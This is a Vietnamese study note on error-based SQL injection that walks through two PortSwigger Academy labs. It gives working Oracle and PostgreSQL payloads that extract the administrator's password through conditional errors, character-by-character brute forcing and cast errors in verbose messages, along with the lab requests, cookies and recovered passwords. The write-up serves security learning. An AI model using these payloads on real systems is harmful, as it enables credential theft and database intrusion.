Trong trường hợp ứng dụng trả về cùng một response khi kết quả của điều kiện trong câu truy vấn thay đổi thì ta có thể dùng error-based SQL injection.

Loại injection này hoạt động bằng cách sử dụng các thông báo lỗi để truy xuất hoặc suy luận các dữ liệu nhạy cảm từ database. Có hai khả năng có thể xảy ra:

  • Ứng dụng trả về error message dựa trên tính hợp lệ của câu truy vấn (tương tự với blind SQL injection).
  • Ứng dụng trả về error message có chứa kết quả của câu query. Điều này biến các lỗ hổng blind SQL injection trở nên “thấy được”.

Exploiting Blind SQL Injection by Triggering Conditional Errors

Kỹ thuật sử dụng là gây ra lỗi cho database khi một điều kiện gì đó là đúng.

Xét hai payload sau:

xyz' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END)='a

Từ khóa CASE giống như câu lệnhif: giúp trả về những giá trị khác nhau đối với các điều kiện khác nhau:

  • Với payload đầu, do 1 không bằng 2 nên giá trị của biểu thức là 'a', không có lỗi xảy ra.
  • Với payload sau, do 1 bằng 1 nên giá trị của biểu thức là 1/0. Điều này gây ra lỗi chia cho 0.

Nếu lỗi gây ra sự thay đổi trong response, chúng ta có thể nhận biết được điều kiện được inject vào là đúng hay sai.

Chúng ta có thể truy xuất được dữ liệu bằng cách thử từng ký tự một:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN TO_CHAR(1/0) ELSE 'a' END FROM Users) = 'a

Lab: Blind SQL Injection with Conditional Errors

Request đến endpoint / gốc có dạng như sau:

GET /academyLabHeader HTTP/1.1
Host: 0aef002d0445f38a8022da020079002b.web-security-academy.net
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Upgrade: websocket
Origin: https://0aef002d0445f38a8022da020079002b.web-security-academy.net
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Cookie: TrackingId=XQwPI9cuCKC3lfAH; session=DCjR6vZCNQVUtAU4AFBa3hi1AFA2I7qt
Sec-WebSocket-Key: XaPhDlBOUGyhGHqN2JohTA==

Thử thêm vào dấu nháy đằng sau giá trị của cookie TrackingId:

XQwPI9cuCKC3lfAH' 

Ứng dụng trả về response có chứa thông báo lỗi “Internal Server Error”. Có vẻ như input truyền vào đã làm xảy ra lỗi cú pháp. Đây là điều kiện giúp xác nhận rằng ta có thể thực hiện error-based SQL injection.

Thử dùng hai dấu nháy để không xảy ra lỗi cú pháp.

XQwPI9cuCKC3lfAH''

Câu truy vấn hoàn chỉnh sẽ là:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'XQwPI9cuCKC3lfAH'''

Câu truy vấn trên truy vấn TrackingId có giá trị là XQwPI9cuCKC3lfAH' (có thêm dấu nháy phía sau) và tất nhiên là sẽ không có kết quả trả về. Tuy nhiên, response không có gì khác biệt so với lúc không dùng dấu nháy. Đây chính là điều kiện cho biết rằng không thể sử dụng blind SQL injection (không có sự khác biệt trong response khi thay đổi tính đúng đắn của câu điều kiện) mà cần phải dùng error-based SQL injection.

Thử thêm một điều kiện:

' and (select '') = '

Chú ý dấu nháy cuối cùng: tạo thành một chuỗi rỗng với dấu nháy của câu truy vấn gốc.

Response có status là 500.

Thử thêm vào from dual sau mệnh đề select (đề bài gợi ý đây là OracleDB):

' and (select '' from dual) = '

Response có status là 200.

Kiểm tra sự tồn tại của bảng users:

' and (select '' from users) = '

Response có status là 200. Thử thay đổi thành userss thì status là 500. Điều này giúp xác nhận sự tồn tại của bảng users.

Kiểm tra sự tồn tại của username administrator:

' and (select case when 1=1 then to_char(1/0) else 'a' end from users where username='administrator') = 'a

Tìm độ dài của password:

' and (select case when length(password) > 1 then to_char(1/0) else 'a' end from users where username='administrator') = 'a

Giá trị so sánh sẽ tăng dần từ 1 trở đi. Kết quả tìm được độ dài của password là 20.

Payload dùng cho Burp Suite Intruder:

' and (select case when substr(password,1,1) = '§a§' then to_char(1/0) else 'a' end from users where username='administrator') = 'a

Chúng ta sẽ tăng dần tham số thứ hai của hàm substr (là hàm lấy chuỗi con trong OracleDB) từ 1 đến 20 và wordlist sử dụng sẽ là a-z0-9.

Lọc ra các response có status là 500 và ta thu được password của administrator.

lu481oqu5k2jgprrixg3

Đăng nhập vào bằng password trên.

Extracting Sensitive Data via Verbose SQL Error Messages

Đôi khi ứng dụng trả về thông báo lỗi đầy đủ như thế này:

Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char

Từ thông báo lỗi này, ta có thể dễ dàng triển khai SQL Injection.

Chúng ta cần làm cho ứng dụng trả về thông báo lỗi có chứa dữ liệu. Để làm được điều này, ta có thể dùng hàm CAST() như sau:

CAST((SELECT example_column FROM example_table) AS int)

Thường thì dữ liệu ta cần đọc có dạng chuỗi, việc ép kiểu thành int sẽ gây ra lỗi như sau:

ERROR: invalid input syntax for type integer: "Example data"

Có thể thấy, dữ liệu được trả về trong thông báo lỗi.

Lab: Visible Error-based SQL Injection

Cần lấy ra password của username administrator ở trong bảng users.

Request mẫu:

GET / HTTP/2
Host: 0a3c0075030fe3cf80ab6785003c0008.web-security-academy.net
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Upgrade: websocket
Origin: https://0a3c0075030fe3cf80ab6785003c0008.web-security-academy.net
Sec-Websocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Cookie: TrackingId=AkAFBmuAOJuXsJvS; session=p99dJXrLFR5nxfmaUwGvpvzaLKhC6FNX
Sec-Websocket-Key: PVmzOhehVt8dcI4AyHz0MQ==

Thử thêm dấu nháy ' vào sau cookie TrackingId, response trả về có thông báo lỗi như sau:

Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = 'AkAFBmuAOJuXsJvS''. Expected  char

Thử tìm version của DB:

'and cast((select version()) as int) = 1--

Ta biết được rằng DB là Postgres:

ERROR: invalid input syntax for type integer: "PostgreSQL 12.17 (Ubuntu 12.17-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit"

Thử sử dụng hàm cast:

AkAFBmuAOJuXsJvS' and cast((select 'abc') as int) = 1--

Thông báo lỗi:

ERROR: invalid input syntax for type integer: "abc"

Vì một lý do nào đó, payload sau không thể được thực hiện thành công:

AkAFBmuAOJuXsJvS' and cast((select password from users where username='administrator') as int) = 1--

Câu truy vấn từ thông báo lỗi trông giống như bị cắt bớt:

Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = 'AkAFBmuAOJuXsJvS' and cast((select password from users where'. Expected  char

Do là Postgres nên có thể dùng ép kiểu bằng toán tử :: và xóa đi giá trị của cookie nhằm giảm kích thước payload. Việc dùng hàm string_agg cũng bị lỗi tương tự như trên nên chỉ còn cách xét từng dòng.

Sử dụng hai payload sau với giá trị offset tăng dần từ 0 để tìm cặp username và password của administrator:

'and(select username from users limit 1 offset 0)::int=1--
'and(select password from users limit 1 offset 0)::int=1--

Tìm ra được user administrator ở dòng đầu với password là:

cnuxbdouk9xrdn9yu9vi
list
from outgoing([[Port Swigger - Error-Based SQL Injection]])
sort file.ctime asc

Resources